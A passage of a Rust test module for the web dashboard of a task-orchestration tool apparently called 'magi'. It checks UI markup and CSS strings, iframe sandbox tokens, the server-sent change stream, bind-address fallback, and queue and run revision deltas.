19685 let body = &APP_JS[start..];
19686 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
19687
19688 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
19690 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
19691 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
19692 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
19693 }
19694
19695 #[test]
19698 fn chat_rows_put_the_title_alone_on_the_first_line() {
19699 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
19700 assert!(APP_CSS.contains(
19701 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
19702 ));
19703 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
19704 assert!(APP_JS.contains("class: \"badge talk-unread\""));
19705 }
19706
19707 #[test]
19708 fn run_rows_put_the_title_alone_on_the_first_line() {
19709 assert!(
19710 APP_CSS.contains(
19711 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
19712 )
19713 );
19714 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
19715 assert!(APP_JS.contains("class: \"card run-card\""));
19716 assert!(APP_JS.contains("class: \"repo run-id\""));
19717 }
19718
19719 #[test]
19723 fn wide_screens_show_list_and_preview_side_by_side() {
19724 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
19726 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
19727 assert!(APP_CSS.contains("main[data-split]"));
19728 assert!(APP_CSS.contains("body[data-split]"));
19729
19730 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
19732 assert!(
19733 APP_JS.contains(
19734 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
19735 )
19736 );
19737 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
19738 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
19739 assert!(INDEX_HTML.contains("id=\"split-empty\""));
19740
19741 assert!(APP_JS.contains("function markSelected() {"));
19743 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
19744 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
19745 assert!(
19747 APP_CSS.contains(
19748 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
19749 )
19750 );
19751
19752 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
19754 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
19755 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
19756 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
19757
19758 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
19762 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
19763 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
19764 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
19765
19766 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
19768 }
19769
19770 #[test]
19771 fn panel_sandbox_carries_exactly_popups() {
19772 let needle = "sandbox: \"";
19773 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
19774 assert_eq!(
19775 matches.len(),
19776 1,
19777 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
19778 );
19779 let start = matches[0].0 + needle.len();
19780 let end = APP_JS[start..]
19781 .find('"')
19782 .expect("sandbox attribute value must be terminated by a closing quote");
19783 let val = &APP_JS[start..start + end];
19784 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
19785 let expected: std::collections::BTreeSet<&str> =
19786 ["allow-popups", "allow-popups-to-escape-sandbox"]
19787 .into_iter()
19788 .collect();
19789 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
19790 assert!(
19791 !tokens.contains("allow-scripts"),
19792 "allow-scripts must never be present in sandbox"
19793 );
19794 assert!(
19795 !tokens.contains("allow-same-origin"),
19796 "allow-same-origin must never be present in sandbox"
19797 );
19798 }
19799
19800 #[test]
19801 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
19802 assert!(
19811 APP_JS.contains(
19812 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
19813 ),
19814 "the search-clearing branch must run before state.queueFocus is cleared, or the \
19815 recursive renderQueue() call has nothing left to jump to"
19816 );
19817 assert!(
19818 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
19819 "state.queueFocus must be cleared only once the jump has landed, so a card that \
19820 arrives later still gets it"
19821 );
19822 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
19823 assert!(APP_JS.contains("is not in the current Backlog."));
19824 assert!(APP_JS.contains("li.card[data-task-id=\""));
19825 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
19826 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
19827 assert!(APP_CSS.contains(".card-permalink"));
19828 assert!(APP_CSS.contains(".queue-focus-status"));
19829 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
19830 }
19831
19832 #[test]
19833 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
19834 assert!(
19842 APP_JS.contains(
19843 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
19844 ),
19845 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
19846 );
19847 }
19848
19849 #[test]
19850 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
19851 assert!(
19852 APP_JS.contains("round.verified_head !== round.head"),
19853 "a round that verified an earlier commit must be visibly distinct from one that \
19854 verified the head reviewers are looking at now"
19855 );
19856 assert!(
19857 APP_JS.contains("round.verified_at"),
19858 "when a check ran must be on the wire, not just which commit"
19859 );
19860 assert!(
19861 APP_JS.contains("resource_blocked"),
19862 "a command magi never got to run (shared build cache contention) must not render \
19863 the same as a command that ran and failed"
19864 );
19865 }
19866
19867 #[test]
19868 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
19869 assert!(
19877 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
19878 "every KPI tile built through statusTile() must route its click through \
19879 openRunsFiltered, the single place that sets the Runs filter"
19880 );
19881 for (label, status) in [
19882 ("Merged", "merged"),
19883 ("Ready", "ready"),
19884 ("Blocked", "blocked"),
19885 ("Stalled", "stalled"),
19886 ] {
19887 let call = format!("statusTile(\"{label}\", t.{status}, ");
19888 assert!(
19889 APP_JS.contains(&call),
19890 "expected the {label} KPI tile built via {call}..."
19891 );
19892 assert!(
19893 APP_JS.contains(&format!("status === \"{status}\"")),
19894 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
19895 compare a run against, not one invented only for the stats tile"
19896 );
19897 }
19898 assert!(
19899 APP_JS.contains("function openRunsFiltered(status)"),
19900 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
19901 );
19902 assert!(
19903 APP_JS.contains(
19904 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
19905 ),
19906 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
19907 );
19908 assert!(
19916 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
19917 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
19918 hashchange event that may never fire"
19919 );
19920 }
19921
19922 #[test]
19923 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
19924 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
19930 assert!(
19931 APP_JS.contains(
19932 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
19933 ),
19934 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
19935 guard for an incompatible tree section"
19936 );
19937 }
19938
19939 #[test]
19940 fn every_stats_queue_tile_names_a_real_queue_section() {
19941 assert!(
19947 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
19948 "every queue tile built through sectionTile() must route its click through \
19949 openQueueSectionFocus"
19950 );
19951 for key in ["upnext", "running", "done", "held", "blocked"] {
19952 assert!(
19953 APP_JS.contains(&format!("{{ key: \"{key}\",")),
19954 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
19955 );
19956 }
19957 for line in [
19961 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
19962 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
19963 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
19964 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
19965 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
19966 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
19967 ] {
19968 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
19969 }
19970 }
19971
19972 #[test]
19973 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
19974 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
19981 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
19982 assert!(APP_JS.contains("function revealQueueSection(details)"));
19983 assert!(
19984 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
19985 "renderQueue() must consume both focus channels on every pass"
19986 );
19987 assert!(
19988 APP_JS.contains(
19989 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
19990 ),
19991 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
19992 the recursive renderQueue() call has nothing left to reveal"
19993 );
19994 assert!(
19995 APP_JS.contains(
19996 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
19997 ),
19998 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
19999 );
20000 assert!(
20008 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20009 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20010 hashchange event that may never fire"
20011 );
20012 }
20013
20014 #[tokio::test]
20015 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20016 let f = Fixture::start().await;
20017
20018 let mut socket = tokio::net::TcpStream::connect(f.addr)
20019 .await
20020 .expect("connect");
20021 socket
20022 .write_all(
20023 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20024 )
20025 .await
20026 .expect("write request");
20027
20028 let mut seen = String::new();
20031 let mut buf = [0u8; 1024];
20032 while !seen.contains("event: change") {
20033 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20034 .await
20035 .expect("the stream must speak within five seconds")
20036 .expect("read");
20037 assert!(read > 0, "the server closed the change stream: {seen}");
20038 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20039 }
20040
20041 assert!(
20042 seen.to_lowercase()
20043 .contains("content-type: text/event-stream"),
20044 "the browser only reconnects automatically for a real SSE stream: {seen}"
20045 );
20046 let data = seen
20047 .lines()
20048 .find_map(|l| l.strip_prefix("data:"))
20049 .expect("a data line");
20050 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20051 assert!(
20052 payload["queue_rev"].is_u64()
20053 && payload["runs_rev"].is_u64()
20054 && payload["questions_rev"].is_u64()
20055 && payload["talks_rev"].is_u64()
20056 && payload["notifications_rev"].is_u64()
20057 && payload["loop_rev"].is_u64(),
20058 "the client needs one revision per store to know what to refetch, \
20059 and `talks_rev` is the only notification a standing talk gets - a \
20060 phone whose radio slept through a turn learns about it here, as \
20061 does one whose operator started the loop from another device: \
20062 {payload}"
20063 );
20064
20065 let health = f.get("/api/health").await.json();
20072 for key in [
20073 "queue_rev",
20074 "runs_rev",
20075 "questions_rev",
20076 "talks_rev",
20077 "notifications_rev",
20078 "loop_rev",
20079 ] {
20080 assert!(
20081 health[key].is_u64(),
20082 "health is the change stream's fallback and is missing `{key}`: {health}"
20083 );
20084 }
20085 }
20086
20087 #[tokio::test]
20088 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20089 let f = Fixture::start().await;
20090 let before = f.get("/api/health").await.json()["talks_rev"]
20091 .as_u64()
20092 .expect("talks_rev");
20093
20094 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20095 std::thread::sleep(Duration::from_millis(10));
20096 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20097 on_disk.turns.push(crate::talk::Turn {
20098 sender: None,
20099 breaks: Some(Vec::new()),
20100 messages: Vec::new(),
20101 posted_by: None,
20102 who: crate::talk::Who::Operator,
20103 body: "a new turn".to_owned(),
20104 at: Timestamp::now(),
20105 attachments: Vec::new(),
20106 usage: None,
20107 });
20108 f.talks().put(&mut on_disk).expect("record a turn");
20109
20110 let after = tokio::time::timeout(Duration::from_secs(5), async {
20111 loop {
20112 let revision = f.get("/api/health").await.json()["talks_rev"]
20113 .as_u64()
20114 .unwrap();
20115 if revision != before {
20116 break revision;
20117 }
20118 tokio::time::sleep(Duration::from_millis(50)).await;
20119 }
20120 })
20121 .await
20122 .expect("shared monitor observes external turn");
20123 assert_ne!(
20124 before, after,
20125 "a phone must be able to notice a talk's reply without polling every store"
20126 );
20127 }
20128
20129 #[test]
20130 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20131 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20135 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20136 }
20137 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20138 assert!("everywhere".parse::<Bind>().is_err());
20139 }
20140
20141 #[test]
20142 fn an_explicit_bind_address_is_taken_verbatim() {
20143 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20144
20145 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20146
20147 assert_eq!(addr, asked);
20148 assert!(
20149 warning.is_none(),
20150 "an operator who named an address gets no lecture"
20151 );
20152 }
20153
20154 #[test]
20155 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20156 let (addr, warning) = resolve_bind(&Bind::Auto);
20157
20158 match addr {
20165 IpAddr::V4(ip) if is_tailnet(&ip) => {
20166 assert!(warning.is_none(), "a tailnet address needs no warning");
20167 }
20168 other => {
20169 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20170 let warning = warning.expect("a fallback has to explain itself");
20171 assert!(
20172 warning.contains("127.0.0.1") && warning.contains("local-only"),
20173 "the warning says what happened and what it costs: {warning}"
20174 );
20175 }
20176 }
20177 }
20178
20179 #[test]
20180 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20181 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20185 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20186 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20187 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20188 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20189 }
20190
20191 #[test]
20192 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20193 let ids = vec![
20194 "20260902-140501-aaaa".to_owned(),
20195 "20260902-140502-aabb".to_owned(),
20196 ];
20197
20198 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20199 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20200 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20201
20202 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20203 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20204 assert_eq!(short, "20260902-140502-aabb");
20205 }
20206 #[tokio::test]
20207 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20208 let fx = Fixture::start().await;
20214 let id = panel(
20215 &fx,
20216 "<img src=\"shot.png\">",
20217 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20218 );
20219
20220 let doc = fx
20222 .get(&format!("/api/questions/{id}/panel/index.html"))
20223 .await;
20224 assert_eq!(doc.status, 200, "{}", doc.body);
20225 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20226
20227 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20228 assert_eq!(sibling.status, 200, "{}", sibling.body);
20229 assert_eq!(sibling.header("content-type"), Some("image/png"));
20230 assert_eq!(
20231 sibling.header("content-security-policy"),
20232 Some(PANEL_CSP),
20233 "the sibling route must carry the same policy as the asset route"
20234 );
20235
20236 assert_eq!(
20239 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20240 200
20241 );
20242 }
20243
20244 #[test]
20245 fn delta_stamps_cover_add_update_remove_and_noop() {
20246 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20247 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20248 let delta = diff_stamps(&before, &after, 42);
20249 assert_eq!(delta.base, 42);
20250 assert_eq!(delta.changed, ["b", "c"]);
20251 assert_eq!(delta.removed, ["a"]);
20252 let same = diff_stamps(&after, &after, 43);
20253 assert!(same.changed.is_empty() && same.removed.is_empty());
20254 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20255 let nanos: Stamps = [("b".into(), (2, 20))].into();
20256 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20257 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20258 assert_eq!(stamps_revision(&Stamps::new()), 0);
20259 }
20260
20261 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20262 std::fs::create_dir_all(home.join("runs")).unwrap();
20263 Arc::new(Ui::new(
20264 Queue::at(home.join("queue")),
20265 Questions::at(home.join("questions")),
20266 Talks::at(home.join("talks")),
20267 home.join("runs"),
20268 home.to_owned(),
20269 PathBuf::from("/repo/magi"),
20270 ))
20271 }
20272
20273 #[test]
20274 fn monitor_scan_isolates_store_failures_and_recovers() {
20275 let home = TempDir::new().unwrap();
20276 let ui = delta_test_ui(home.path());
20277 std::fs::create_dir_all(ui.questions.root()).unwrap();
20278 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20279 let before = monitor_scan(&ui, None);
20280 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20281 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20282 std::fs::create_dir_all(ui.talks.root()).unwrap();
20283 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20284 let during = monitor_scan(&ui, Some(before.clone()));
20285 assert_eq!(during.0.2, before.0.2);
20286 assert_ne!(during.0.3, before.0.3);
20287 assert!(during.1[2].contains_key("new"));
20288 std::fs::remove_file(ui.questions.root()).unwrap();
20289 let after = monitor_scan(&ui, Some(during));
20290 assert_eq!(after.0.2, 0);
20291 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20292 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20294 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20295 }
20296
20297 #[tokio::test]
20298 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20299 let home = TempDir::new().unwrap();
20300 let ui = delta_test_ui(home.path());
20301 let mut task = Task::new(
20302 "stream task".into(),
20303 "text".into(),
20304 PathBuf::from("/repo"),
20305 Source::Human,
20306 );
20307 ui.queue.put(&mut task).unwrap();
20308 let response = events(State(ui.clone())).await.into_response();
20309 let mut stream = response.into_body().into_data_stream();
20310 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20311 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20312 .await
20313 .unwrap()
20314 .unwrap()
20315 .unwrap();
20316 let text = String::from_utf8(chunk.to_vec()).unwrap();
20317 let data = text
20318 .lines()
20319 .find_map(|line| {
20320 line.strip_prefix("data: ")
20321 .or_else(|| line.strip_prefix("data:"))
20322 })
20323 .unwrap();
20324 serde_json::from_str(data).unwrap()
20325 }
20326 let initial = change(&mut stream).await;
20327 assert!(initial.get("queue_delta").is_none());
20328 task.instruction.push_str(" changed");
20329 ui.queue.put(&mut task).unwrap();
20330 let updated = change(&mut stream).await;
20331 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20332 assert_eq!(
20333 updated["queue_delta"]["changed"],
20334 serde_json::json!([task.id])
20335 );
20336 assert_eq!(
20337 updated["queue_rev"].as_u64(),
20338 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20339 );
20340 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20341 let removed = change(&mut stream).await;
20342 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20343 assert_eq!(
20344 removed["queue_delta"]["removed"],
20345 serde_json::json!([task.id])
20346 );
20347 }
20348
20349 #[tokio::test]
20350 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20351 let home = TempDir::new().unwrap();
20352 let ui = delta_test_ui(home.path());
20353 let queue = ui.queue.clone();
20354 let query = |ids: Option<&str>| {
20355 Query(ListQuery {
20356 limit: Some(2),
20357 ids: ids.map(str::to_owned),
20358 })
20359 };
20360 let mut root = Task::new(
20361 "root".into(),
20362 "instruction".into(),
20363 PathBuf::from("/repo"),
20364 Source::Human,
20365 );
20366 queue.put(&mut root).unwrap();
20367 let mut blocked = Task::new(
20368 "blocked".into(),
20369 "instruction".into(),
20370 PathBuf::from("/repo"),
20371 Source::Human,
20372 );
20373 blocked.block(vec![root.id.clone()], None);
20374 queue.put(&mut blocked).unwrap();
20375 let whole =
20376 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20377 .unwrap();
20378 let subset = serde_json::to_value(
20379 queue_list(State(ui.clone()), query(Some(&root.id)))
20380 .await
20381 .unwrap()
20382 .0,
20383 )
20384 .unwrap();
20385 assert_eq!(whole, subset, "requested root plus its blocked dependent");
20386 let blockers = serde_json::to_value(
20387 queue_list(State(ui.clone()), query(Some("")))
20388 .await
20389 .unwrap()
20390 .0,
20391 )
20392 .unwrap();
20393 assert_eq!(blockers.as_array().unwrap().len(), 1);
20394 assert_eq!(blockers[0]["id"], blocked.id);
20395 assert_eq!(
20396 blockers[0]["waits_on"],
20397 whole
20398 .as_array()
20399 .unwrap()
20400 .iter()
20401 .find(|row| row["id"] == blocked.id)
20402 .unwrap()["waits_on"]
20403 );
20404
20405 for id in [
20406 "20260902-140501-aaaa",
20407 "20260902-140502-bbbb",
20408 "20260902-140503-cccc",
20409 ] {
20410 write_run(&ui.runs, id, RunStatus::Merged);
20411 }
20412 let old = serde_json::to_value(
20413 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20414 .await
20415 .unwrap()
20416 .0,
20417 )
20418 .unwrap();
20419 assert!(
20420 old.as_array().unwrap().is_empty(),
20421 "older updates must not enter the window"
20422 );
20423 let newest = serde_json::to_value(
20424 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20425 .await
20426 .unwrap()
20427 .0,
20428 )
20429 .unwrap();
20430 assert_eq!(newest.as_array().unwrap().len(), 1);
20431 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20432
20433 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20434 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20435 let talks = serde_json::to_value(
20436 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20437 .await
20438 .unwrap()
20439 .0,
20440 )
20441 .unwrap();
20442 assert_eq!(talks.as_array().unwrap().len(), 1);
20443 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20444 assert_eq!(
20445 serde_json::to_value(
20446 talks_list(State(ui.clone()), query(Some("")))
20447 .await
20448 .unwrap()
20449 .0
20450 )
20451 .unwrap(),
20452 serde_json::json!([])
20453 );
20454 }
20455
20456 #[tokio::test]
20457 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20458 async fn delta_payload_benchmark() {
20459 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20460 let ui = delta_test_ui(&home);
20461 let query = |ids: Option<String>| {
20462 Query(ListQuery {
20463 limit: Some(50),
20464 ids,
20465 })
20466 };
20467 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20468 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20469 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20470 let queue_id = queue
20471 .iter()
20472 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20473 .unwrap_or(&queue[0])
20474 .task
20475 .id
20476 .clone();
20477 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20478 .await
20479 .unwrap()
20480 .0;
20481 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20482 .await
20483 .unwrap()
20484 .0;
20485 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20486 .await
20487 .unwrap()
20488 .0;
20489 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20490 eprintln!(
20491 "DELTA_PAYLOAD {}",
20492 serde_json::json!({
20493 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20494 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20495 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20496 "counts": [queue.len(), runs.len(), talks.len()],
20497 "blocked": queue_delta.len() - 1,
20498 })
20499 );
20500 }
20501
20502 #[test]
20503 fn runs_revision_moves_when_deleting_an_older_run() {
20504 let temp = TempDir::new().expect("tempdir");
20505 let runs = temp.path().join("runs");
20506 std::fs::create_dir_all(&runs).expect("create runs dir");
20507
20508 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20509
20510 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20511 std::thread::sleep(Duration::from_millis(10));
20512 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20513
20514 let rev_before = runs_revision(&runs);
20515 assert!(rev_before > 0);
20516
20517 let old_dir = runs.join("20260901-100000-old1");
20518 std::fs::remove_dir_all(&old_dir).expect("remove old run");
20519
20520 let rev_after = runs_revision(&runs);
20521 assert_ne!(
20522 rev_before, rev_after,
20523 "deleting an older run must change the revision so other clients see the deletion"
20524 );
20525 }
20526
20527 fn write_state(runs: &FsPath, state: &RunState) {
20532 let dir = runs.join(&state.id);
20533 std::fs::create_dir_all(&dir).expect("run dir");
20534 std::fs::write(
20535 dir.join("run.json"),
20536 serde_json::to_string_pretty(state).expect("serialize run"),
20537 )
20538 .expect("write run.json");
20539 }
20540
20541 #[test]
20546 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20547 let temp = TempDir::new().expect("tempdir");
20548 let runs = temp.path().join("runs");
20549 std::fs::create_dir_all(&runs).expect("create runs dir");
20550 let mut state = RunState::new(
20551 PathBuf::from("/repo/magi"),
20552 "main".to_owned(),
20553 "0123456789abcdef".to_owned(),
20554 "task".to_owned(),
20555 Config::default(),
20556 );
20557 state.id = "20260902-100000-c0de".to_owned();
20558 write_state(&runs, &state);
20559
20560 let rev_idle = runs_revision(&runs);
20561 std::thread::sleep(Duration::from_millis(10));
20562 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20563 write_state(&runs, &state);
20564 let rev_started = runs_revision(&runs);
20565 assert_ne!(
20566 rev_idle, rev_started,
20567 "a seat starting must move the revision"
20568 );
20569
20570 std::thread::sleep(Duration::from_millis(10));
20571 state.seat_finished("judge-1");
20572 write_state(&runs, &state);
20573 let rev_finished = runs_revision(&runs);
20574 assert_ne!(
20575 rev_started, rev_finished,
20576 "and clearing it again must move the revision a second time"
20577 );
20578 }
20579
20580 #[tokio::test]
20581 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20582 let fx = Fixture::start().await;
20587 let q = fx.queue();
20588
20589 let mut t = Task::new(
20590 "Task".to_owned(),
20591 "Instruction".to_owned(),
20592 PathBuf::from("/repo"),
20593 Source::Human,
20594 );
20595 t.block(
20596 vec!["20260101-000000-dead".to_owned()],
20597 Some("waiting on Task 1".to_owned()),
20598 );
20599 t.answers.push(crate::queue::AnsweredQuestion {
20600 question: "Which backend?".to_owned(),
20601 answer: "SQLite".to_owned(),
20602 });
20603 q.put(&mut t).expect("put t");
20604
20605 let res = fx.get("/api/queue").await;
20606 assert_eq!(res.status, 200);
20607 let list = res.json();
20608 let view = list
20609 .as_array()
20610 .expect("array")
20611 .iter()
20612 .find(|v| v["id"] == t.id)
20613 .expect("task in list");
20614 assert_eq!(view["status_str"], "blocked");
20615 assert_eq!(
20616 view["blocked_by"],
20617 serde_json::json!(["20260101-000000-dead"])
20618 );
20619 assert_eq!(view["block_reason"], "waiting on Task 1");
20620 assert_eq!(view["answers"][0]["question"], "Which backend?");
20621 assert_eq!(view["answers"][0]["answer"], "SQLite");
20622
20623 let res = fx
20627 .post(&format!("/api/queue/{}/hold", t.short()), None)
20628 .await;
20629 assert_eq!(res.status, 200);
20630 let held = res.json();
20631 assert_eq!(held["status_str"], "held");
20632 assert_eq!(held["blocked_by"], serde_json::json!([]));
20633 assert!(held["block_reason"].is_null());
20634 assert_eq!(held["answers"][0]["answer"], "SQLite");
